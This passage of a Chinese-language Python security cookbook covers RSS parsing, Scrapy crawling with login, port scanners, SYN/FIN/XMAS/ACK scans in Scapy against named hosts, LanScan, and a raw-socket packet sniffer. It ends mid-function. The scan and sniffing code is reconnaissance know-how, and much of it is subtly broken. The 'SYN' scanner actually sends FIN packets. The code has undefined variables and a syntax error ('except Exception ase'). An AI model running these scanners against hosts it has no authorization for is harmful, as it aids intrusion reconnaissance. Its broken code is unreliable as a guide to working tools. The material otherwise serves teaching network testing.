模块中的urlopen
方法获取 XML 文件:
url = urlopen('http://feeds.feedburner.com/TechCrunch/Google')
- 现在使用
xml.etree.ElementTree
模块中的parse
方法解析 XML 文件:
xmldoc = parse(url)
- 现在迭代并打印 XML 中的细节:
for item in xmldoc.iterfind('channel/item'):
title = item.findtext('title')
desc = item.findtext('description')
date = item.findtext('pubDate')
link = item.findtext('link')
print(title)
print(desc)
print(date)
print(link)
print('---------')
- 这个脚本可以重写为 Python 2 中运行,如下所示:
from urllib2 import urlopen
from xml.etree.ElementTree import parse
url = urlopen('http://feeds.feedburner.com/TechCrunch/Google')
xmldoc = parse(url)
xmldoc.write('output.xml')
for item in xmldoc.iterfind('channel/item'):
title = item.findtext('title')
desc = item.findtext('description')
date = item.findtext('pubDate')
link = item.findtext('link')
print title
print desc
print date
print link
print '---------'
这也可以导出到 Excel 或.csv,就像我们在之前的示例中所做的那样。
第五章:使用 Scrapy 和 BeautifulSoup 进行网络抓取
在本章中,我们将涵盖以下内容:
-
使用 Scrapy 的网络蜘蛛
-
Scrapy shell
-
将提取器与 Scrapy 链接起来
-
使用 Scrapy 登录网站后进行抓取
介绍
Scrapy是最强大的 Python 网络爬虫框架之一,它可以帮助高效地抓取网页的许多基本功能。
使用 Scrapy 的网络蜘蛛
网络蜘蛛从要访问的 URL 或 URL 列表开始,当蜘蛛获取新页面时,它会分析页面以识别所有超链接,并将这些链接添加到要爬行的 URL 列表中。只要发现新数据,这个动作就会递归地继续下去。
网络蜘蛛可以找到新的 URL 并对其进行索引以进行爬行,或者从中下载有用的数据。在下面的示例中,我们将使用 Scrapy 创建一个网络蜘蛛。
准备工作
我们可以从 Python 的pip
命令安装 Scrapy:
pip install scrapy
确保您有安装 Scrapy 所需的权限。如果权限出现任何错误,请使用sudo
命令。
如何操作...
让我们用 Scrapy 创建一个简单的蜘蛛:
- 要创建一个新的蜘蛛项目,请打开终端并转到我们的蜘蛛所在的文件夹:
$ mkdir new-spider
$ cd new-spider
- 然后运行以下命令创建一个带有
scrapy
的新蜘蛛项目:
$ scrapy startproject books
这将创建一个名为books
的项目,并创建一些有用的文件来创建爬虫。现在你有了一个文件夹结构,如下面的截图所示:
- 现在我们可以使用以下命令创建一个爬虫:
$ scrapy genspider home books.toscrape.com
这将生成名为home
的蜘蛛的代码,因为我们计划爬取books.toscrape.com
的主页。现在spiders
文件夹内的文件夹结构将如下所示:
- 如您所见,
spiders
文件夹内有一个名为home.py
的文件。我们可以打开home.py
并开始编辑它。home.py
文件将包含以下代码:
# -*- coding: utf-8 -*-
import scrapy
class HomeSpider(scrapy.Spider):
name = 'home'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/']
def parse(self, response):
pass
HomeSpider
是scrapy.spider
的子类。名称设置为home
,这是我们在生成蜘蛛时提供的。allowed_domains
属性定义了此爬虫的授权域,start_urls
定义了爬虫要开始的 URL。
正如其名称所示,parse
方法解析了所访问的 URL 的内容。
- 尝试使用以下命令运行蜘蛛:
$ scrapy crawl home
- 现在我们可以重写蜘蛛以浏览分页链接:
from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
class HomeSpider(CrawlSpider):
name = 'home'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/']
rules = (Rule(LinkExtractor(allow=(), restrict_css=('.next',)),
callback="parse_page",
follow=True),)
def parse_page(self, response):
print(response.url)
要浏览多个页面,我们可以使用CrawlSpider
的子类。从scrapy.spider
导入CrawlSpider
和Rule
模块。对于提取链接,我们可以使用scrapy.linkextractors
中的LinkExtractor
。
然后我们需要设置rules
变量,用于设置通过页面的规则。在这里,我们使用restrict_css
参数来设置css
类以到达下一页。可以通过在浏览器中检查网页来找到下一页 URL 的css
类,如下面的截图所示:
- 通过以下命令运行爬虫来检查爬虫:
$ scrapy crawl home
这将打印出蜘蛛解析的所有 URL。
- 让我们重写脚本以获取书籍的“标题”和“价格”。为此,我们必须为我们的项目创建一个类,因此在
book
项目内,我们将创建另一个名为item.py
的文件,并定义我们要提取的项目:
from scrapy.item import Item, Field
class BookItem(Item):
title = Field()
price = Field()
在这里,我们定义了一个新类,其中包含我们希望从我们的蜘蛛中提取的细节。现在文件夹结构将如下所示:
- 然后,更新
spider/home.py
文件以提取数据:
from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from books.item import BookItem
class HomeSpider(CrawlSpider):
name = 'home'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/']
rules = (Rule(LinkExtractor(allow=(), restrict_css=('.next',)),
callback="parse_page",
follow=True),)
def parse_page(self, response):
items = []
books = response.xpath('//ol/li/article')
index = 0
for book in books:
item = BookItem()
title = books.xpath('//h3/a/text()')[index].extract()
item['title'] = str(title).encode('utf-8').strip()
price = books.xpath('//article/div[contains(@class, "product_price")]/p[1]/text()')[index].extract()
item['price'] = str(price).encode('utf-8').strip()
items.append(item)
index += 1
yield item
更新parse_page
方法以从每个页面提取“标题”和“价格”详情。要从页面中提取数据,我们必须使用选择器。在这里,我们使用了xpath
选择器。XPath 是一种常用的语法或语言,用于浏览 XML 和 HTML 文档。
在parse_page
方法中,最初,我们选择了网站上放置书籍详细信息的所有文章标签,并遍历每个文章标签以解析书籍的标题和价格。
- 要获取标签的
xpath
选择器,我们可以使用谷歌 Chrome 浏览器的 XPath 工具,如下所示:
我们可以使用 Firefox Inspector 如下:
- 现在我们可以运行爬虫,将数据提取到
.csv
文件中:
$ scrapy crawl home -o book-data.csv -t csv
这将在当前目录中创建一个名为book-data.csv
的文件,其中包含提取的详细信息。
您可以在doc.scrapy.org/en/latest/topics/selectors.html
了解有关选择器(如 XPath)以及如何从页面中选择详细信息的更多信息。
Scrapy shell
Scrapy shell 是一个命令行界面,可帮助调试脚本而无需运行整个爬虫。我们必须提供一个 URL,Scrapy shell 将打开一个接口,与爬虫在其回调中处理的对象进行交互,例如响应对象。
如何做...
我们可以通过一些简单的 Scrapy 交互式 shell 用法。步骤如下:
- 打开一个终端窗口,然后输入以下命令:
$ Scrapy shell http://books.toscrape.com/
加载 Scrapy shell 后,它将打开一个接口,与响应对象进行交互,如下所示:
- 我们可以使用这个接口来调试
response
对象的选择器:
>>> response.xpath('//ol/li/article')
这将打印选择器输出。有了这个,我们可以创建和测试爬虫的提取规则。
- 我们还可以从代码中打开 Scrapy shell 以调试提取规则中的错误。为此,我们可以使用
inspect_response
方法:
from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from scrapy.shell import inspect_response
class HomeSpider(CrawlSpider):
name = 'home'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/']
rules = (Rule(LinkExtractor(allow=(), restrict_css=('.next',)),
callback="parse_page",
follow=True),)
def parse_page(self, response):
if len(response.xpath('//ol/li/article')) < 5:
title = response.xpath('//h3/a/text()')[0].extract()
print(title)
else:
inspect_response(response, self)
如果条件失败,这将打开一个 shell 接口。在这里,我们已经导入了inspect_response
并使用它来从代码中调试爬虫。
使用 Scrapy 的链接提取器
正如它们的名称所示,链接提取器是用于从 Scrapy 响应对象中提取链接的对象。Scrapy 具有内置的链接提取器,例如scrapy.linkextractors
。
如何做...
让我们用 Scrapy 构建一个简单的链接提取器:
- 与上一个示例一样,我们必须创建另一个 spider 来获取所有链接。
在新的spider
文件中,导入所需的模块:
import scrapy
from scrapy.linkextractor import LinkExtractor
from scrapy.spiders import Rule, CrawlSpider
- 创建一个新的
spider
类并初始化变量:
class HomeSpider2(CrawlSpider):
name = 'home2'
allowed_domains = ['books.toscrape.com']
start_urls = ['http://books.toscrape.com/']
- 现在我们必须初始化爬取 URL 的规则:
rules = [
Rule(
LinkExtractor(
canonicalize=True,
unique=True
),
follow=True,
callback="parse_page"
)
]
此规则命令提取所有唯一和规范化的链接,并指示程序跟随这些链接并使用parse_page
方法解析它们
- 现在我们可以使用
start_urls
变量中列出的 URL 列表启动 spider:
def start_requests(self):
for url in self.start_urls:
yield scrapy.Request(url, callback=self.parse, dont_filter=True)
start_requests()
方法在打开爬虫进行爬取时调用一次
- 现在我们可以编写解析 URL 的方法:
def parse_page(self, response):
links = LinkExtractor(canonicalize=True, unique=True).extract_links(response)
for link in links:
is_allowed = False
for allowed_domain in self.allowed_domains:
if allowed_domain in link.url:
is_allowed = True
if is_allowed:
print link.url
该方法提取相对于当前响应的所有规范化和唯一的链接。它还验证链接的 URL 的域是否属于授权域中的一个。
使用 Scrapy 登录网站后进行爬取
有时我们必须登录网站才能访问我们计划提取的数据。使用 Scrapy,我们可以轻松处理登录表单和 cookies。我们可以利用 Scrapy 的FormRequest
对象;它将处理登录表单并尝试使用提供的凭据登录。
准备工作
当我们访问一个需要身份验证的网站时,我们需要用户名和密码。在 Scrapy 中,我们需要相同的凭据来登录。因此,我们需要为我们计划抓取的网站获取一个帐户。
如何做...
以下是我们如何使用 Scrapy 来爬取需要登录的网站:
- 要使用
FormRequest
对象,我们可以按如下方式更新parse_page
方法:
def parse(self, response):
return scrapy.FormRequest.from_response(
response,
formdata={'username': 'username', 'password': 'password'},
callback=self.parse_after_login
)
在这里,响应对象是我们需要填写登录表单的页面的 HTTP 响应。FormRequest
方法包括我们需要登录的凭据以及用于登录后解析页面的callback
方法。
- 在保持登录会话的情况下进行分页,我们可以使用前面一篇食谱中使用的方法。
第六章:使用 Python 进行网络扫描
在本章中,我们将涵盖以下内容:
-
简单端口扫描器
-
IP 范围/网络扫描器
-
隐蔽扫描
-
FIN 扫描
-
XMAS 扫描
-
TCP ACK 扫描
-
LanScan
介绍
在渗透测试和网络分析中,网络扫描器在获取本地网络中可用主机和运行在这些主机上的应用程序的详细信息方面发挥着重要作用。网络扫描有助于识别主机上运行的可用 UDP 和 TCP 网络服务,并有助于确定主机使用的操作系统(OSs)。
简单端口扫描器
端口扫描器旨在检查服务器或主机机器上的开放端口。它帮助攻击者识别主机机器上运行的服务,并利用其中的漏洞。
准备工作
我们可以使用socket
模块编写一个简单的端口扫描器。socket
模块是 Python 中默认的低级网络接口。
如何做...
我们可以使用socket
模块创建一个简单的端口扫描器,以下是步骤:
-
创建一个名为
port-scanner.py
的新文件并在编辑器中打开它。 -
导入所需的模块,如下所示:
import socket,sys,os
导入socket
模块以及sys
和os
模块
- 现在我们可以定义我们的扫描器的变量:
host = 'example.com'
open_ports =[]
start_port = 1
end_port = 10
在这里,我们定义了我们计划扫描的起始和结束端口
- 从域名获取 IP:
ip = socket.gethostbyname(host)
这里我们使用socket
模块中的gethostbyname
方法。这将返回域的 IP
- 现在我们可以编写一个函数来
探测
端口:
def probe_port(host, port, result = 1):
try:
sockObj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockObj.settimeout(0.5)
r = sockObj.connect_ex((host, port))
if r == 0:
result = r
sock.close()
except Exception ase:
pass
return result
在这里,我们创建了一个名为sockObj
的套接字对象,并尝试将其连接到端口。如果连接成功,则端口是打开的。创建的socket
对象使用 IPv4 套接字系列(AF_INET
)和 TCP 类型连接(SOCK_STREAM
)。对于 UDP 类型连接,我们必须使用SOCK_DGRAM
。
最后,它将返回作为函数输出的结果。
- 现在我们将编写一个for循环来迭代端口范围,并使用
probe_port
方法探测端口:
for port in range(start_port, end_port+1):
sys.stdout.flush()
print (port)
response = probe_port(host, port)
if response == 0:
open_ports.append(port)
if not port == end_port:
sys.stdout.write('\b' * len(str(port)))
如果端口是打开的,则将结果添加到列表open_port
- 最后,按以下方式打印结果列表:
if open_ports:
print ("Open Ports")
print (sorted(open_ports))
else:
print ("Sorry, No open ports found.!!")
- 现在我们可以尝试更改前面的脚本以扫描默认端口列表。
为此,我们将定义一个默认端口列表:
common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110,
123, 137, 138, 139, 143, 156, 161, 389, 443,
445, 500, 546, 547, 587, 660, 995, 993, 2086,
2087, 2082, 2083, 3306, 8443, 10000
}
此外,我们更改循环以调用probe_port
,如下所示:
for p in sorted(common_ports):
sys.stdout.flush()
print p
response = probe_port(host, p)
if response == 0:
open_ports.append(p)
if not p == end_port:
sys.stdout.write('\b' * len(str(p)))
IP 范围/网络扫描器
我们可以使用 ICMP 数据包创建一个网络扫描器。由于 ICMP 不是 IP 协议,我们必须直接访问网络堆栈。因此,我们可以使用 Scapy 生成 ICMP 数据包并将其发送到主机。
准备工作
要开始抓取,我们必须安装所需的 Python 包。这里我们使用 Scapy 进行数据包生成。要安装 Scapy,我们可以使用pip
。由于我们使用的是 Python 3,请确保为 Python 3 安装 Scapy。还要安装其依赖模块netifaces
:
pip3 install scapy-python3
pip3 install netifaces
如何做...
以下是使用scapy
模块创建简单网络扫描器的步骤:
-
创建一个名为
network-scanner.py
的文件并在编辑器中打开它。 -
导入脚本所需的模块:
import socket, re
from scapy.all import *
- 为了获取系统的本地 IP,我们使用
socket
模块中的getsockname
方法。但是,它需要一个连接。因此,我们创建一个 UDP 套接字连接以连接到 Google DNS,并使用此连接来枚举本地 IP:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
- 现在我们提取本地 IP 并使用正则表达式截断最后的 IP 数字:
end = re.search('^[\d]{1,3}.[\d]{1,3}.[\d]{1,3}.[\d]{1,3}', ip)
create_ip = re.search('^[\d]{1,3}.[\d]{1,3}.[\d]{1,3}.', ip)
- 现在创建一个生成 ICMP 数据包并将其发送到主机的函数。这里我们使用 Scapy:
def is_up(ip):
icmp = IP(dst=ip)/ICMP()
resp = sr1(icmp, timeout=10)
if resp == None:
return False
else:
return True
- 创建另一个函数来检查 IP 是否为环回(
127.0.0.1
):
def CheckLoopBack(ip):
if (end.group(0) == '127.0.0.1'):
return True
- 现在通过迭代最后的 IP 数字运行网络扫描以扫描网络中的所有 IP:
try:
if not CheckLoopBack(create_ip):
conf.verb = 0
for i in range(1, 10):
test_ip = str(create_ip.group(0)) + str(i)
if is_up(test_ip):
print (test_ip + " Is Up")
except KeyboardInterrupt:
print('interrupted!')
conf.verb = 0
将禁用 Scapy 中的详细模式,以避免来自 Scapy 的日志
- 确保以管理员权限运行脚本,因为 Scapy 需要管理员访问权限来创建数据包:
sudo python3 network-scanner.py
隐蔽扫描
隐蔽扫描是一种 TCP 扫描形式。在这里,端口扫描器创建原始 IP 数据包并将其发送到主机以监视响应。这种类型的扫描也被称为半开放扫描或 SYN 扫描,因为它从不打开完整的 TCP 连接。这种类型的扫描器创建一个 SYN 数据包并将其发送到主机。如果目标端口是打开的,主机将用一个 SYN-ACK 数据包做出响应。然后客户端将用一个 RST 数据包做出响应,以在完成握手之前关闭连接。如果端口是关闭但未被过滤,目标将立即用一个 RST 数据包做出响应。
要创建一个 SYN 扫描器,我们将使用 Scapy 模块。这是一个功能强大的交互式数据包操作程序和库。
准备工作
对于扫描端口,我们将向正在扫描的主机发送自定义数据包,并解析响应以分析结果。我们需要 Scapy 来生成并发送数据包到主机。确保系统中安装了scapy
模块。
如何实现...
我们可以通过以下步骤创建一个 SYN 扫描器:
-
创建一个名为
syn-scanner.py
的新文件,并在编辑器中打开它。 -
像往常一样,导入所需的模块:
from scapy.all import *
这将导入scapy
模块
- 现在我们可以声明变量,并且如果需要,也可以将这些变量作为参数传递:
host = 'www.dvwa.co.uk'
ip = socket.gethostbyname(host)
openp = []
filterdp = []
common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110,
123, 137, 138, 139, 143, 156, 161, 389, 443, 445, 500, 546, 547, 587, 660, 995, 993, 2086, 2087, 2082, 2083, 3306, 8443, 10000 }
- 现在我们可以创建一个函数来检查主机是正常运行还是宕机:
def is_up(ip):
icmp = IP(dst=ip)/ICMP()
resp = sr1(icmp, timeout=10)
if resp == None:
return False
else:
return True
我们创建并发送一个 ICMP 数据包到主机。如果主机正常运行,它将做出响应。
- 接下来,我们可以创建一个使用 SYN 数据包扫描端口的函数:
def probe_port(ip, port, result = 1):
src_port = RandShort()
try:
p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='F')
resp = sr1(p, timeout=2) # Sending packet
if str(type(resp)) == "<type 'NoneType'>":
result = 1
elif resp.haslayer(TCP):
if resp.getlayer(TCP).flags == 0x14:
result = 0
elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
result = 2
except Exception as e:
pass
return result
在这里,我们将一个随机端口设置为目标端口,然后创建一个带有源端口、目标端口和目标 IP 的 SYN 数据包。然后我们将发送数据包并分析响应。如果响应类型为None
,则端口是关闭的。如果响应具有 TCP 层,则我们必须检查其中的标志值。标志有九位,但我们只检查控制位,它们有六位。它们是:
-
- URG = 0x20
-
ACK = 0x10
-
PSH = 0x08
-
RST = 0x04
-
SYN = 0x02
-
FIN = 0x01
以下是 TCP 层的头部结构:
因此,如果标志值为 0x12,则响应具有 SYN 标志,我们可以认为端口是打开的。如果值为 0x14,则标志是 RST/ACK,因此端口是关闭的。
- 然后我们将检查主机是否正常运行,循环遍历常见端口列表,并在主机正常运行时扫描每个端口:
if is_up(ip):
for port in common_ports:
print (port)
response = probe_port(ip, port)
if response == 1:
openp.append(port)
elif response == 2:
filterdp.append(port)
if len(openp) != 0:
print ("Possible Open or Filtered Ports:")
print (openp)
if len(filterdp) != 0:
print ("Possible Filtered Ports:")
print (filterdp)
if (len(openp) == 0) and (len(filterdp) == 0):
print ("Sorry, No open ports found.!!")
else:
print ("Host is Down")
扫描常见端口列表中的每个端口,并将识别出的打开端口添加到打开端口列表中,然后打印列表
- 确保以
sudo
身份运行脚本,因为我们正在使用 Scapy,而 Scapy 需要管理员权限:
sudo python3 syn-scanner.py
FIN 扫描
SYN 扫描可以被防火墙阻止。然而,设置了 FIN 标志的数据包具有绕过防火墙的能力。它的工作原理是这样的--对于一个 FIN 数据包,关闭的端口会用一个 RST 数据包做出响应,而打开的端口会忽略这些数据包。如果是一个 ICMP 数据包,类型为 3,代码为 1、2、3、9、10 或 13,我们可以推断出端口被过滤,端口状态无法被找到。我们可以使用 Scapy 创建 FIN 数据包并扫描端口。
如何实现...
我们可以按照以下方式创建一个 FIN 扫描器:
-
就像我们在上一个步骤中所做的那样,我们必须创建另一个文件
fin-scanner.py
,并在编辑器中打开它。 -
然后导入所需的模块:
from scapy.all import *
- 就像我们为 SYN 扫描器所做的那样,设置变量并创建函数来检查服务器是否正常运行:
host = 'www.dvwa.co.uk'
ip = socket.gethostbyname(host)
openp = []
filterdp = []
common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110,
123, 137, 138, 139, 143, 156, 161, 389, 443,
445, 500, 546, 547, 587, 660, 995, 993, 2086,
2087, 2082, 2083, 3306, 8443, 10000
}
def is_up(ip):
icmp = IP(dst=ip)/ICMP()
resp = sr1(icmp, timeout=10)
if resp == None:
return False
else:
return True
- 现在我们可以创建探测端口的函数如下:
def probe_port(ip, port, result = 1):
src_port = RandShort()
try:
p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='F')
resp = sr1(p, timeout=2) # Sending packet
if str(type(resp)) == "<type 'NoneType'>":
result = 1
elif resp.haslayer(TCP):
if resp.getlayer(TCP).flags == 0x14:
result = 0
elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
result = 2
except Exception as e:
pass
return result
在这里,我们将标志更改为F
以进行FIN
,同时创建要发送的数据包
- 最后,我们将检查主机是否正常运行,循环遍历常见端口列表,并在主机正常运行时扫描每个端口:
if is_up(ip):
for port in common_ports:
print (port)
response = probe_port(ip, port)
if response == 1:
openp.append(port)
elif response == 2:
filterdp.append(port)
if len(openp) != 0:
print ("Possible Open or Filtered Ports:")
print (openp)
if len(filterdp) != 0:
print ("Possible Filtered Ports:")
print (filterdp)
if (len(openp) == 0) and (len(filterdp) == 0):
print ("Sorry, No open ports found.!!")
else:
print ("Host is Down")
XMAS 扫描
使用 XMAS 扫描,我们将发送一个 TCP 数据包,其中包含一堆标志(PSH,FIN 和 URG)。如果端口关闭,我们将收到一个 RST。如果端口是打开的或被过滤的,那么服务器将不会有任何响应。这与 FIN 扫描类似,只是在创建数据包的部分不同。
如何做...
使用 Scapy 创建 XMAS 扫描器的步骤如下:
-
创建我们为上一个配方创建的文件的副本(FIN 扫描)。由于它非常相似,我们只需要更改数据包创建部分。
-
要创建并发送一个带有 PSH、FIN 和 URG 标志的数据包,请更新
probe_port
方法中的数据包制作部分,如下所示:
p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='FPU')
只更新标志参数。这里我们将标志设置为FPU
,表示 PSH、FIN 和 URG 的组合。
TCP ACK 扫描
ACK 标志扫描对于验证服务器是否被防火墙、IPS 或其他网络安全控制所阻塞非常有用。与 FIN 扫描一样,我们将发送一个 TCP ACK 数据包。没有响应或 ICMP 错误表明存在有状态的防火墙,因为端口被过滤,如果我们收到一个 RST-ACK,那么有状态的防火墙就不存在:
如何做...
使用 Scapy 创建 TCP ACK 扫描器的步骤如下:
- 像往常一样,导入所需的模块并设置变量。还要定义检查主机状态的方法:
from scapy.all import *
# define the host, port
host = 'rejahrehim.com'
ip = socket.gethostbyname(host)
port = 80
# define the method to check the status of host
def is_up(ip):
icmp = IP(dst=ip)/ICMP()
resp = sr1(icmp, timeout=10)
if resp == None:
return False
else:
return True
- 要发送一个带有
ACK
标志的 TCP 数据包,请更新上一个配方中的probe_port
方法,如下所示:
def probe_port(ip, port, result = 1):
src_port = RandShort()
try:
p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='A', seq=12345)
resp = sr1(p, timeout=2) # Sending packet
if str(type(resp)) == "<type 'NoneType'>":
result = 1
elif resp.haslayer(TCP):
if resp.getlayer(TCP).flags == 0x4:
result = 0
elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
result = 1
except Exception as e:
pass
return result
在这里,我们创建一个 TCP ACK 数据包并将其发送到主机
- 最后,运行扫描程序,如下所示:
if is_up(ip):
response = probe_port(ip, port)
if response == 1:
print ("Filtered | Stateful firewall present")
elif response == 0:
print ("Unfiltered | Stateful firewall absent")
else:
print ("Host is Down")
LanScan
LanScan 是一个 Python 3 模块,可以帮助扫描给定的本地网络。它可以列出所有设备及其开放的端口。LanScan 还可以帮助获取有关网络接口和网络的信息。
准备工作
我们可以使用pip
安装lanscan
:
pip3 install lanscan
如何做...
以下是 LanScan 的一些用例:
- LanScan 有一些我们可以用来扫描局域网的选项。要获取系统中可用接口的详细信息,我们可以使用
interfaces
选项:
sudo lanscan interfaces
这将打印出可用的接口,如下所示:
- 我们可以使用 network 命令获取连接的网络列表:
sudo lanscan networks
- 我们可以从终端窗口开始本地网络扫描。这需要管理员权限:
sudo lanscan scan
这将列出 LAN 网络中的 IP 地址以及每个系统中的开放端口
第七章:使用 Python 进行网络嗅探
在本章中,我们将涵盖以下内容:
-
Python 中的数据包嗅探器
-
解析数据包
-
PyShark
介绍
嗅探器是一个可以拦截网络流量并嗅探数据包以进行分析的程序。随着数据流在网络上流动,嗅探器可以捕获每个数据包,解码数据包的原始数据以获取数据包头部中各个字段的值,并根据适当的规范分析其内容。网络数据包嗅探器可以用 Python 编写。
Python 中的数据包嗅探器
可以使用 socket 模块创建一个简单的 Python 数据包嗅探器。我们可以使用原始套接字类型来获取数据包。原始套接字提供对支持套接字抽象的底层协议的访问。由于原始套接字是互联网套接字 API 的一部分,它们只能用于生成和接收 IP 数据包。
准备工作
由于 socket 模块的一些行为取决于操作系统套接字 API,并且在不同操作系统下使用原始套接字没有统一的 API,我们需要使用 Linux 操作系统来运行此脚本。因此,如果您使用的是 Windows 或 macOS,请确保在虚拟 Linux 环境中运行此脚本。此外,大多数操作系统需要 root 访问权限才能使用原始套接字 API。
操作步骤...
以下是使用socket
模块创建基本数据包嗅探器的步骤:
-
创建一个名为
basic-packet-sniffer-linux.py
的新文件,并在编辑器中打开它。 -
导入所需的模块:
import socket
- 现在我们可以创建一个
INET
原始套接字:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
读取和写入原始套接字都需要先创建一个原始套接字。这里我们使用INET
族的原始套接字。套接字的族参数描述了套接字的地址族。以下是地址族常量:
-
AF_LOCAL
:用于本地通信
-
AF_UNIX
:Unix 域套接字 -
AF_INET
:IP 版本 4 -
AF_INET6
:IP 版本 6 -
AF_IPX
:Novell IPX -
AF_NETLINK
:内核用户界面设备 -
AF_X25
:保留给 X.25 项目 -
AF_AX25
:业余无线电 AX.25 -
AF_APPLETALK
:Appletalk DDP -
AF_PACKET
:低级数据包接口 -
AF_ALG
:与内核加密 API 的接口
传递的下一个参数是套接字的类型。以下是套接字类型的可能值:
-
SOCK_STREAM
:流(连接)套接字
-
SOCK_DGRAM
:数据报(无连接)套接字 -
SOCK_RAW
:原始套接字 -
SOCK_RDM
:可靠交付的消息 -
SOCK_SEQPACKET
:顺序数据包套接字 -
SOCK_PACKET
:用于在开发级别获取数据包的 Linux 特定方法
最后一个参数是数据包的协议。此协议号由互联网数字分配机构(IANA)定义。我们必须了解套接字的族;然后我们才能选择协议。由于我们选择了AF_INET
(IPV4),我们只能选择基于 IP 的协议。
- 接下来,开始一个无限循环,从套接字接收数据:
while True:
print(s.recvfrom(65565))
套接字模块中的recvfrom
方法帮助我们从套接字接收所有数据。传递的参数是缓冲区大小;65565
是最大缓冲区大小。
- 现在用 Python 运行程序:
sudo python3 basic-packet-sniffer-linux.py
结果将如下所示:
解析数据包
现在我们可以尝试解析我们嗅探到的数据,并解包头部。要解析数据包,我们需要了解以太网帧和 IP 数据包头部。
以太网帧结构如下:
前六个字节是目标 MAC地址,接下来的六个字节是源 MAC。最后两个字节是以太网类型。其余部分包括数据和CRC 校验和。根据 RFC 791,IP 头部如下所示:
IP 头部包括以下部分:
-
协议版本(四位):前四位。这代表了当前的 IP 协议。
-
头部长度(四位):IP 头部的长度以 32 位字为单位表示。由于这个字段是四位,允许的最大头部长度为 60 字节。通常值为
5
,表示五个 32 位字:5 * 4 = 20 字节。 -
服务类型(八位):前三位是优先位,接下来的四位表示服务类型,最后一位未使用。
-
总长度(16 位):这表示 IP 数据报的总长度(以字节为单位)。这是一个 16 位字段。IP 数据报的最大大小为 65,535 字节。
-
标志(三位):第二位表示不分段位。当设置了这一位时,IP 数据报永远不会被分段。第三位表示更多分段位。如果设置了这一位,则表示一个被分段的 IP 数据报,在它之后还有更多分段。
-
生存时间(八位):这个值表示 IP 数据报在被丢弃之前经过的跳数。
-
协议(八位):这表示将数据传递给 IP 层的传输层协议。
-
头部校验和(16 位):这个字段有助于检查 IP 数据报的完整性。
-
源 IP 和目标 IP(每个 32 位):这些字段分别存储源地址和目标地址。
有关 IP 头部的更多详细信息,请参考 RFC 791 文档:tools.ietf.org/html/rfc791
如何做到...
以下是解析数据包的步骤:
- 创建一个名为
basic-parse-packet-packet-linux.py
的新文件,并导入解析数据包所需的模块:
from struct import *
import sys
- 现在我们可以创建一个函数来解析以太网头部:
def ethernet_head(raw_data):
dest, src, prototype = struct.unpack('! 6s 6s H', raw_data[:14])
dest_mac = get_mac_addr(dest)
src_mac = get_mac_addr(src)
proto = socket.htons(prototype)
data = raw_data[14:]
return dest_mac, src_mac, proto, data
在这里,我们使用struct
模块中的unpack
方法来解包头部。从以太网帧结构中,前六个字节是目标 MAC 地址,接下来的 6 个字节是源 MAC 地址,最后的无符号短整型是以太网类型。最后,剩下的是数据。因此,这个函数返回目标 MAC 地址、源 MAC 地址、协议和数据。
- 现在我们可以创建一个主函数,在
ethernet_head()
中解析这个函数并获取详细信息:
def main():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))
while True:
raw_data, addr = s.recvfrom(65535)
eth = ethernet(raw_data)
print('\nEthernet Frame:')
print('Destination: {}, Source: {}, Protocol: {}'.format(eth[0], eth[1], eth[2]))
main()
- 现在我们可以检查以太网帧中的数据部分并解析 IP 头部。我们可以创建另一个函数来解析
ipv4
头部:
def ipv4_head(raw_data):
version_header_length = raw_data[0]
version = version_header_length >> 4
header_length = (version_header_length & 15) * 4
ttl, proto, src, target = struct.unpack('! 8x B B 2x 4s 4s', raw_data[:20])
data = raw_data[header_length:]
return version, header_length, ttl, proto, src, target, data
根据 IP 头部,我们将使用struct
中的unpack
方法来解包头部,并返回版本
、头部长度
、TTL
、协议源和目标 IP。
- 现在更新
main()
以打印 IP 头部:
def main():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))
while True:
raw_data, addr = s.recvfrom(65535)
eth = ethernet(raw_data)
print('\nEthernet Frame:')
print('Destination: {}, Source: {}, Protocol: {}'.format(eth[0], eth[1], eth[2]))
if eth[2] == 8:
ipv4 = ipv4(ethp[4])
print( '\t - ' + 'IPv4 Packet:')
print('\t\t - ' + 'Version: {}, Header Length: {}, TTL:{},'.format(ipv4[1], ipv4[2], ipv4[3]))
print('\t\t - ' + 'Protocol: {}, Source: {}, Target: {}'.format(ipv4[4], ipv4[5], ipv4[6]))
- 目前,打印出的 IP 地址不是可读格式,因此我们可以编写一个函数来格式化它们:
def get_ip(addr):
return '.'.join(map(str, addr))
确保更新ipv4_head
函数通过在返回输出之前添加以下行来格式化 IP 地址:
src = get_ip(src)
target = get_ip(target)
- 现在我们已经解包了网络层,接下来要解包的是传输层。我们可以从 IP 头部的协议 ID 中确定协议。以下是一些协议的协议 ID:
-
TCP:6
-
ICMP:1
-
UDP:17
-
RDP:27
- 接下来,我们可以创建一个函数来解包 TCP 数据包:
def tcp_head( raw_data):
(src_port, dest_port, sequence, acknowledgment, offset_reserved_flags) = struct.unpack(
'! H H L L H', raw_data[:14])
offset = (offset_reserved_flags >> 12) * 4
flag_urg = (offset_reserved_flags & 32) >> 5
